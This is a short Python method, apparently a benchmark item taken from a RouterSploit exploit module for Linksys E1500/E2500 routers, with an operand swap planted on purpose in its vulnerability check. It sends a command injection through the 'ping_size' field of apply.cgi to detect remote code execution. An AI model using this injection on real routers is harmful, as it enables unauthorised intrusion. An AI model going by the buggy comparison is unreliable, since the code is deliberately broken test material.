@mute
    def check(self):
        mark = random_text(32)
        cmd = "echo {}".format(mark)
        url = sanitize_url("{}:{}/apply.cgi".format(self.target, self.port))
        data = {"submit_button": "Diagnostics", "change_action":"gozila_cgi", "submit_type":"start_ping","action":"","commit":"0","ping_ip":"127.0.0.1","ping_size": "&" + cmd,"ping_times":"5","traceroute_ip":"127.0.0.1" }

        response = http_request(method="POST", url=url, data=data, auth=(self.username, self.password))
        if response is None:
            return False  # target is not vulnerable

        if response.text in mark:
            return True  # target is vulnerable

        return False  # target is not vulnerable
dataset/ETHPy150Open reverse-shell/routersploit/routersploit/modules/exploits/linksys/1500_2500_rce.py/Exploit.check/swapped operands of `in`